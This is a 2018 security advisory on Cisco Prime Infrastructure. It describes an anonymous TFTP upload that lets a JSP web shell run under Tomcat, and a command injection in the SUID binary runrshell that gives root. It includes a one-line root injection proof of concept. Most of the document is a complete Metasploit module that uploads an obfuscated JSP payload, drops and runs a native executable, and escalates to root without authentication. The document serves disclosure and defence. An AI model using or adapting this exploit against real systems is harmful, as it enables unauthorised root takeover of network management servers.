SSD Advisory – Cisco Prime Infrastructure File Inclusion and Remote Command Execution to Privileges Escalation
Credit to Author: SSD / Ori Nimron| Date: Thu, 04 Oct 2018 05:12:22 +0000
Vulnerabilities Summary
Cisco Prime Infrastructure (CPI) contains two vulnerabilities that when exploited allow an unauthenticated attacker to achieve root privileges and execute code remotely. The first vulnerability is a file upload vulnerability that allows the attacker to upload and execute JSP files as the Apache Tomcat user. The second vulnerability is a privilege escalation to root by bypassing execution restrictions in a SUID binary.
Vendor Response
Cisco has issued an advisory, https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-pi-tftp, which provides a workaround and a fix for the vulnerability. From our assessment the provided fix only addresses the file uploading part of the exploit, not the file inclusion, the ability to execute arbitrary code through it or the privileges escalation issue that the product has.
CVE
CVE-2018-15379
Credit
An independent security researcher, Pedro Ribeiro, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Affected systems
Cisco Prime Infrastructure 3.2 and newer
Vulnerability Details
First Vulnerability: Arbitrary file upload and execution via tftp and Apache Tomcat
Attack Vector: Remote
Constraints: None
Most web applications running on the CPI virtual appliance are deployed under /opt/CSCOlumos/apache-tomcat-<VERSION>/webapps. One of these applications is “swimtemp”, which symlinks to /localdisk/tftp:
As the name implies, this is the directory used by TFTP to store files. Cisco has also enabled the upload of files to this directory as TFTPD is started with the -c (file create) flag, and it accepts anonymous connections:
1 | /usr/sbin/in.tftpd —ipv4 –vv –c —listen –u prime –a :69 —retransmit 6000000 –s /localdisk/tftp |
The TFTPD port (69) is also open to the world in the virtual appliance firewall, so it is trivial to upload a JSP web shell file using a tftp client to the /localdisk/tftp/ directory.
The web shell will then be available at https://<IP>/swimtemp/<SHELL>, and it will execute as the “prime” user, which is an unprivileged user that runs the Apache Tomcat server.
Second Vulnerability: runrshell Command Injection with root privileges
Attack Vector: Local
Constraints: None
The CPI virtual appliance contains a binary at /opt/CSCOlumos/bin/runrshell, which has the SUID bit set and executes as root. It is supposed to start a restricted shell that can only execute commands in /opt/CSCOlumos/rcmds. The decompilation of this function is shown below:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | int main(int argc, char* argv, char* envp) { char dest; int i; setuid(0); setgid(0); setenv(“PATH”, “/opt/CSCOlumos/rcmds”, 1); memcpy(&dest, “/bin/bash -r -c “”, 0x12uLL); for ( i = 1; argc – 1 >= i; ++i ) { strcat(&dest, argv[i]); strcat(&dest, ” “); } strcat(&dest, “””); return (system(&dest) & 0xFF00) >> 8; } |
As it can be seen above, the binary uses the system() function to execute:
/bin/bash -r -c “<CMD>”. with the PATH set to /opt/CSCOlumos/rcmds, and the restricted (-r) flag passed to bash, meaning that only commands in the PATH can be executed, environment variables cannot be changed or set, directory cannot be changed, etc.
However, due to the way system() function calls “bash -c”, it is trivial to inject a command by forcing an end quote after <CMD> and the bash operator ‘&&’:
[prime@prime34 ~]$ /opt/CSCOlumos/bin/runrshell ‘” && /usr/bin/whoami #’
root
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 | ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, ‘Name’ => ‘Cisco Prime Infrastructure Unauthenticated Remote Code Execution’, ‘Description’ => %q{ Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow an unauthenticated attacker to achieve remote code execution. The first flaw is a file upload vulnerability that allows the attacker to upload and execute files as the Apache Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions in a SUID binary. This module exploits these vulnerabilities to achieve unauthenticated remote code execution as root on the CPI default installation. This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions might also be affected, although 3.4.0.0.348 is the latest at the time of writing. }, ‘Author’ => [ ‘Pedro Ribeiro’ # Vulnerability discovery and Metasploit module ], ‘License’ => MSF_LICENSE, ‘References’ => [ [ ‘CVE’, ‘TODO’ ], [ ‘CVE’, ‘TODO’ ], [ ‘URL’, ‘TODO’ ], [ ‘URL’, ‘TODO’ ] ], ‘Platform’ => ‘linux’, ‘Arch’ => [ARCH_X86, ARCH_X64], ‘Targets’ => [ [ ‘Cisco Prime Infrastructure’, {} ] ], ‘Privileged’ => true, ‘DefaultOptions’ => { ‘WfsDelay’ => 10 }, ‘DefaultTarget’ => 0, ‘DisclosureDate’ => ‘TODO’ )) register_options( [ OptPort.new(‘RPORT’, [true, ‘The target port’, 443]), OptPort.new(‘RPORT_TFTP’, [true, ‘TFTPD port’, 69]), OptBool.new(‘SSL’, [true, ‘Use SSL connection’, true]), OptString.new(‘TARGETURI’, [ true, “swimtemp path”, ‘/swimtemp’]) ]) end def check res = send_request_cgi({ ‘uri’ => normalize_uri(datastore[‘TARGETURI’], ‘swimtemp’), ‘method’ => ‘GET’ }) if res && res.code == 404 && res.body.length == 0 # at the moment this is the best way to detect # a 404 in swimtemp only returns the error code with a body length of 0, # while a 404 to another webapp or to the root returns code plus a body with content return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unknown end end def upload_payload(payload) lport = datastore[‘LPORT’] || (1025 + rand(0xffff–1025)) lhost = datastore[‘LHOST’] || “0.0.0.0” remote_file = rand_text_alpha(rand(14) + 5) + ‘.jsp’ tftp_client = Rex::Proto::TFTP::Client.new( “LocalHost” => lhost, “LocalPort” => lport, “PeerHost” => rhost, “PeerPort” => datastore[‘RPORT_TFTP’], “LocalFile” => “DATA:#{payload}”, “RemoteFile” => remote_file, “Mode” => ‘octet’, “Context” => {‘Msf’ => self.framework, ‘MsfExploit’ => self}, “Action” => :upload ) print_status “Uploading TFTP payload to #{rhost}:#{datastore[‘TFTP_PORT’]} as ‘#{remote_file}'” tftp_client.send_write_request remote_file end def generate_jsp_payload exe = generate_payload_exe base64_exe = Rex::Text.encode_base64(exe) native_payload_name = rand_text_alpha(rand(6)+3) var_raw = rand_text_alpha(rand(8) + 3) var_ostream = rand_text_alpha(rand(8) + 3) var_pstream = rand_text_alpha(rand(8) + 3) var_buf = rand_text_alpha(rand(8) + 3) var_decoder = rand_text_alpha(rand(8) + 3) var_tmp = rand_text_alpha(rand(8) + 3) var_path = rand_text_alpha(rand(8) + 3) var_tmp2 = rand_text_alpha(rand(8) + 3) var_path2 = rand_text_alpha(rand(8) + 3) var_proc2 = rand_text_alpha(rand(8) + 3) var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) chmod = %Q| Process #{var_proc1} = Runtime.getRuntime().exec(“chmod 777 ” + #{var_path} + ” ” + #{var_path2}); Thread.sleep(200); | var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) cleanup = %Q| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec(“rm ” + #{var_path} + ” ” + #{var_path2}); | jsp = %Q| <%@page import=“java.io.*”%> <%@page import=“sun.misc.BASE64Decoder”%> <% try { String #{var_buf} = “#{base64_exe}”; BASE64Decoder #{var_decoder} = new BASE64Decoder(); byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); File #{var_tmp} = File.createTempFile(“#{native_payload_name}”, “.bin”); String #{var_path} = #{var_tmp}.getAbsolutePath(); BufferedOutputStream #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path})); #{var_ostream}.write(#{var_raw}); #{var_ostream}.close(); File #{var_tmp2} = File.createTempFile(“#{native_payload_name}”, “.sh”); String #{var_path2} = #{var_tmp2}.getAbsolutePath(); PrintWriter #{var_pstream} = new PrintWriter(new FileOutputStream(#{var_path2})); #{var_pstream}.println(“!#/bin/sh”); #{var_pstream}.println(“/opt/CSCOlumos/bin/runrshell ‘\” && ” + #{var_path} + ” #'”); #{var_pstream}.close(); #{chmod} Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path2}); #{cleanup} } catch (Exception e) { } %> | jsp = jsp.gsub(/n/, ”) jsp = jsp.gsub(/t/, ”) jsp = jsp.gsub(/x0dx0a/, “”) jsp = jsp.gsub(/x0a/, “”) return jsp end def exploit jsp_payload = generate_jsp_payload jsp_name = upload_payload(jsp_payload) # we land in /opt/CSCOlumos, so we don’t know the apache directory # as it changes between versions… so leave this commented for now # … and try to find a good way to clean it later # register_files_for_cleanup(jsp_name) print_status(“#{peer} – Executing payload…”) send_request_cgi({ ‘uri’ => normalize_uri(datastore[‘TARGETURI’], jsp_name), ‘method’ => ‘GET’ }) handler end end |
